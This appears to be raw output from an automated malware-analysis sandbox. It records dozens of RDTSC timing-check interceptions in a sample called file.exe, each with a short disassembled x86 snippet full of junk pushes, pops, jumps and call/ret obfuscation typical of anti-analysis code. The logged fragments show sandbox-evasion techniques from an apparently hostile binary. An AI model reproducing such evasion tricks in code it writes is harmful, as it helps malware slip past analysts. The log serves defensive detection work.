Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832538 second address: 832543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8F30FBAE66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832543 second address: 832548 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3418 second address: 7F3425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832699 second address: 8326B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F8F30D58CE5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8327FB second address: 832804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832804 second address: 832813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jbe 00007F8F30D58CD6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832D81 second address: 832DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F8F30FBAE79h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832DA1 second address: 832DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836794 second address: 836798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836E56 second address: 836E90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F30D58CDCh 0x0000000b popad 0x0000000c xchg eax, ebx 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F8F30D58CD8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 clc 0x00000028 push eax 0x00000029 pushad 0x0000002a push ecx 0x0000002b pushad 0x0000002c popad 0x0000002d pop ecx 0x0000002e push ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836EF8 second address: 836EFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836EFC second address: 836F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836F06 second address: 836F0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836FCC second address: 836FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8373BF second address: 8373C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8373C3 second address: 837421 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F8F30D58CD8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 push edi 0x00000024 mov edi, dword ptr [ebp+122D21FFh] 0x0000002a pop esi 0x0000002b xchg eax, ebx 0x0000002c pushad 0x0000002d ja 00007F8F30D58CE5h 0x00000033 push eax 0x00000034 jnp 00007F8F30D58CD6h 0x0000003a pop eax 0x0000003b popad 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F8F30D58CDDh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837421 second address: 83742B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8F30FBAE66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8392A6 second address: 839319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f jmp 00007F8F30D58CE3h 0x00000014 popad 0x00000015 nop 0x00000016 jmp 00007F8F30D58CE7h 0x0000001b push 00000000h 0x0000001d mov esi, dword ptr [ebp+1244A31Ah] 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push esi 0x00000028 call 00007F8F30D58CD8h 0x0000002d pop esi 0x0000002e mov dword ptr [esp+04h], esi 0x00000032 add dword ptr [esp+04h], 00000016h 0x0000003a inc esi 0x0000003b push esi 0x0000003c ret 0x0000003d pop esi 0x0000003e ret 0x0000003f xor edi, dword ptr [ebp+122D3AE7h] 0x00000045 xchg eax, ebx 0x00000046 push edx 0x00000047 jc 00007F8F30D58CDCh 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839319 second address: 83932C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F8F30FBAE66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A715 second address: 83A719 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A4EF second address: 83A512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F30FBAE72h 0x0000000b popad 0x0000000c push eax 0x0000000d jo 00007F8F30FBAE74h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C991 second address: 83C9D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 js 00007F8F30D58CD6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 add esi, dword ptr [ebp+122D3B2Fh] 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a jc 00007F8F30D58CD6h 0x00000020 pop edi 0x00000021 push 00000000h 0x00000023 xchg eax, ebx 0x00000024 jmp 00007F8F30D58CE2h 0x00000029 push eax 0x0000002a js 00007F8F30D58CE2h 0x00000030 jo 00007F8F30D58CDCh 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B034 second address: 83B05D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F8F30FBAE77h 0x00000010 jg 00007F8F30FBAE66h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E581 second address: 83E585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E585 second address: 83E58B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4EB5 second address: 7F4EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F8F30D58CD6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FC47 second address: 83FC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FC52 second address: 83FC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8F30D58CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FC5C second address: 83FC64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FC64 second address: 83FC75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CDBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FC75 second address: 83FC79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840A5B second address: 840A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30D58CDFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840A6E second address: 840A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 841F7B second address: 841F9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8F30D58CE8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842F20 second address: 842F4C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F30FBAE76h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jmp 00007F8F30FBAE6Ah 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842F4C second address: 842F56 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F30D58CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84309B second address: 843131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F8F30FBAE68h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 cld 0x00000024 push dword ptr fs:[00000000h] 0x0000002b je 00007F8F30FBAE6Ch 0x00000031 or dword ptr [ebp+122D1BB8h], ebx 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e call 00007F8F30FBAE6Bh 0x00000043 add dword ptr [ebp+122D2B6Bh], ebx 0x00000049 pop edi 0x0000004a mov eax, dword ptr [ebp+122D0BADh] 0x00000050 mov dword ptr [ebp+1246B635h], eax 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push ebp 0x0000005b call 00007F8F30FBAE68h 0x00000060 pop ebp 0x00000061 mov dword ptr [esp+04h], ebp 0x00000065 add dword ptr [esp+04h], 00000014h 0x0000006d inc ebp 0x0000006e push ebp 0x0000006f ret 0x00000070 pop ebp 0x00000071 ret 0x00000072 je 00007F8F30FBAE6Ch 0x00000078 mov edi, dword ptr [ebp+1246B93Eh] 0x0000007e nop 0x0000007f push eax 0x00000080 push edx 0x00000081 pushad 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84418C second address: 844191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843131 second address: 843138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844F94 second address: 844F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844191 second address: 844197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844F98 second address: 844FA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30D58CDCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845FB3 second address: 846018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8F30FBAE66h 0x0000000a popad 0x0000000b jmp 00007F8F30FBAE6Eh 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F8F30FBAE68h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c xor dword ptr [ebp+122D378Fh], edx 0x00000032 push 00000000h 0x00000034 jmp 00007F8F30FBAE6Ch 0x00000039 push 00000000h 0x0000003b jl 00007F8F30FBAE69h 0x00000041 mov di, cx 0x00000044 xchg eax, esi 0x00000045 push edi 0x00000046 push edi 0x00000047 push esi 0x00000048 pop esi 0x00000049 pop edi 0x0000004a pop edi 0x0000004b push eax 0x0000004c push edi 0x0000004d push edi 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8470D7 second address: 847155 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F30D58CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, dword ptr [ebp+122D1883h] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F8F30D58CD8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 call 00007F8F30D58CE5h 0x00000035 mov dword ptr [ebp+122D2AF3h], ebx 0x0000003b pop ebx 0x0000003c push 00000000h 0x0000003e xor dword ptr [ebp+122D196Dh], ecx 0x00000044 xchg eax, esi 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 jmp 00007F8F30D58CE9h 0x0000004d jno 00007F8F30D58CD6h 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 848142 second address: 848146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84729A second address: 8472A7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 848146 second address: 848150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 848150 second address: 8481AF instructions: 0x00000000 rdtsc 0x00000002 js 00007F8F30D58CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov di, 3B60h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F8F30D58CD8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e add dword ptr [ebp+12465B91h], ecx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F8F30D58CD8h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 push eax 0x00000051 push ebx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84916D second address: 849171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849171 second address: 84917F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F8F30D58CD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84917F second address: 84920B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F8F30FBAE68h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov bh, 60h 0x00000029 push 00000000h 0x0000002b or dword ptr [ebp+122D1829h], ecx 0x00000031 sub dword ptr [ebp+124733FEh], edx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F8F30FBAE68h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 0000001Dh 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 pushad 0x00000054 mov dword ptr [ebp+122D19A5h], esi 0x0000005a or dword ptr [ebp+122D20A8h], edx 0x00000060 popad 0x00000061 mov dword ptr [ebp+1244B67Fh], edx 0x00000067 push eax 0x00000068 pushad 0x00000069 pushad 0x0000006a pushad 0x0000006b popad 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B0EF second address: 84B0F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F8F30D58CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C198 second address: 84C19E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C19E second address: 84C1E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D2B39h], eax 0x0000000f and edi, 6102C0E7h 0x00000015 push 00000000h 0x00000017 jmp 00007F8F30D58CE5h 0x0000001c push 00000000h 0x0000001e xor dword ptr [ebp+122D2095h], esi 0x00000024 mov dword ptr [ebp+122D36B9h], edx 0x0000002a xchg eax, esi 0x0000002b jg 00007F8F30D58CE2h 0x00000031 jg 00007F8F30D58CDCh 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C1E7 second address: 84C1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F8F30FBAE68h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E334 second address: 84E33B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84D576 second address: 84D5A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8F30FBAE79h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E33B second address: 84E394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov ebx, dword ptr [ebp+122D2990h] 0x0000000e jmp 00007F8F30D58CE7h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F8F30D58CD8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f sub dword ptr [ebp+122D383Dh], eax 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 movzx edi, cx 0x0000003b pop ebx 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 pop eax 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E394 second address: 84E3A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E3A7 second address: 84E3AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E3AD second address: 84E3B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E3B1 second address: 84E3B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F2D9 second address: 84F322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D278Bh], edx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F8F30FBAE68h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d adc di, 319Ch 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 js 00007F8F30FBAE6Ch 0x0000003b jng 00007F8F30FBAE66h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853323 second address: 853365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30D58CE4h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jmp 00007F8F30D58CDFh 0x00000010 jg 00007F8F30D58CD6h 0x00000016 popad 0x00000017 jmp 00007F8F30D58CDFh 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855AFA second address: 855B04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8F30FBAE66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6A5D second address: 7F6A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A12A second address: 85A17D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE71h 0x00000007 jmp 00007F8F30FBAE78h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F8F30FBAE7Ah 0x00000016 js 00007F8F30FBAE6Eh 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A17D second address: 85A181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A181 second address: 85A1A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE6Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8F30FBAE72h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8612F9 second address: 8612FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8613BE second address: 8613C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8613C3 second address: 8613D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30D58CDFh 0x00000009 rdtsc
